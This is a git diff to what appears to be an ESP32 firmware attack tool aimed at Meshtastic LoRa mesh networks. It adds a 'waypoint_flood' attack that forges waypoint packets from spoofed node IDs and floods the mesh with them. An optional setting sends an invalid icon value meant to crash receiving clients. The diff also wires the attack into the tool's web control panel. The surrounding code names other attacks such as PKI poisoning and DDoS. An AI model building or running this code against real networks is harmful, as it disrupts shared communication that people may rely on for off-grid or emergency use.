diff --git a/data/web/index.html b/data/web/index.html
index d0c8aaf..84aa0ae 100644
--- a/data/web/index.html
+++ b/data/web/index.html
@@ -281,6 +281,7 @@
+
Note: A Target Node ID of !ffffffff means the attack will cycle through all
seen nodes.
@@ -349,6 +350,25 @@
+
+
Floods the network with waypoints from a selected (or randomly selected) node.
+
+
+
+
+
+
+
+
+
+
+
+
@@ -591,6 +611,13 @@
command.params.target_id = document.getElementById('pkipoison-target-id').value;
} else if (attack === 'pki_dupe') {
command.params.target_id = document.getElementById('pkidupe-target-id').value;
+ } else if (attack === 'waypoint_flood') {
+ command.params.target_id = document.getElementById('waypoint_flood-target-id').value;
+ command.params.min_lat = parseFloat(document.getElementById('min-lat').value);
+ command.params.max_lat = parseFloat(document.getElementById('max-lat').value);
+ command.params.min_lon = parseFloat(document.getElementById('min-lon').value);
+ command.params.max_lon = parseFloat(document.getElementById('max-lon').value);
+ command.params.crashclient = document.getElementById('flood-clientcrash').checked ? 1 : 0;
}
logToDebug(`▶️ Starting attack: ${attack}`);
diff --git a/main/TMAttack.cpp b/main/TMAttack.cpp
index f4fd200..9b5efb9 100644
--- a/main/TMAttack.cpp
+++ b/main/TMAttack.cpp
@@ -187,6 +187,28 @@ void TMAttack::atkRndNode() {
sendDebugMessage("Sent fake node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude));
}
+void TMAttack::atkWaypointFlood() {
+ uint32_t srcnode = target;
+ if (srcnode == 0xffffffff) {
+ srcnode = getRandomTarget();
+ }
+ if (srcnode == 0) {
+ srcnode = esp_random();
+ }
+ MC_Waypoint waypoint = {};
+ uint32_t icon = 0;
+ if (flood_clientcrash == 1) {
+ icon = esp_random() + 30; // invalid icon to crash the client
+ }
+ uint32_t expire = 1769994122; // 2026-02-02, todo add as a parameter
+ float latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat)));
+ float longitude = min_lon + static_cast(rand()) / (static_cast(RAND_MAX / (max_lon - min_lon)));
+ uint32_t wpnum = esp_random();
+ MeshtasticCompactHelpers::WaypointBuilder(waypoint, esp_random(), latitude, longitude, "WP-" + std::to_string(wpnum), "WP-" + std::to_string(wpnum), expire, icon);
+ meshtasticCompact->SendWaypointMessage(waypoint, 0xffffffff, 8, srcnode);
+ sendDebugMessage("Sent waypoint from node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude));
+}
+
void TMAttack::loop() {
if (meshtasticCompact == nullptr) {
return; // Radio not set
@@ -211,5 +233,7 @@ void TMAttack::loop() {
atkDdos();
} else if (current_attack == AttackType::PKI_DUPE) {
atkPkiDupe();
+ } else if (current_attack == AttackType::WAYPOINT_FLOOD) {
+ atkWaypointFlood();
}
}
\ No newline at end of file
diff --git a/main/TMAttack.hpp b/main/TMAttack.hpp
index eccd65e..e612671 100644
--- a/main/TMAttack.hpp
+++ b/main/TMAttack.hpp
@@ -13,7 +13,8 @@ enum class AttackType {
NAME_CHANGE,
PKI_POISON,
DDOS,
- PKI_DUPE
+ PKI_DUPE,
+ WAYPOINT_FLOOD
};
class TMAttack {
@@ -67,6 +68,8 @@ class TMAttack {
return "ddos";
case AttackType::PKI_DUPE:
return "pki_dupe";
+ case AttackType::WAYPOINT_FLOOD:
+ return "waypoint_flood";
default:
return "Unknown";
}
@@ -81,6 +84,7 @@ class TMAttack {
void atkPkiPoison();
void atkDdos();
void atkPkiDupe();
+ void atkWaypointFlood();
MeshtasticCompact* meshtasticCompact = nullptr;
std::string emoji = "😈";
diff --git a/main/main.cpp b/main/main.cpp
index a899a71..cd3675f 100644
--- a/main/main.cpp
+++ b/main/main.cpp
@@ -92,7 +92,7 @@ void app_main(void) {
ESP_LOGI(TAG, "Loading radio config.");
config.load_radio(lora_config);
meshtasticCompact.loadNodeDb();
-
+ meshtasticCompact.set_ok_to_mqtt(false);
ESP_LOGI(TAG, "Radio initializing...");
meshtasticCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config);
ESP_LOGI(TAG, "Radio initialized.");
@@ -236,6 +236,21 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) {
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
+ if (strcmp(attack_type, "waypoint_flood") == 0 && params != NULL) {
+ const char* target_id = json_object_get_string(params, "target_id");
+ ESP_LOGI("WEB", "Waypoint Flood Attack Params: target_id=%s", target_id);
+ tmAttack.setTarget(getNodeIdFromCh(target_id)); // not target, but souerce of flood
+ tmAttack.setAttackType(AttackType::WAYPOINT_FLOOD);
+ double min_lat = json_object_get_number(params, "min_lat");
+ double max_lat = json_object_get_number(params, "max_lat");
+ double min_lon = json_object_get_number(params, "min_lon");
+ double max_lon = json_object_get_number(params, "max_lon");
+ uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient");
+ tmAttack.setFloodClientCrash(crashclient);
+ tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
+ std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"waypoint_flood\"}";
+ ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
+ }
}
void handle_set_config(JSON_Object* params) {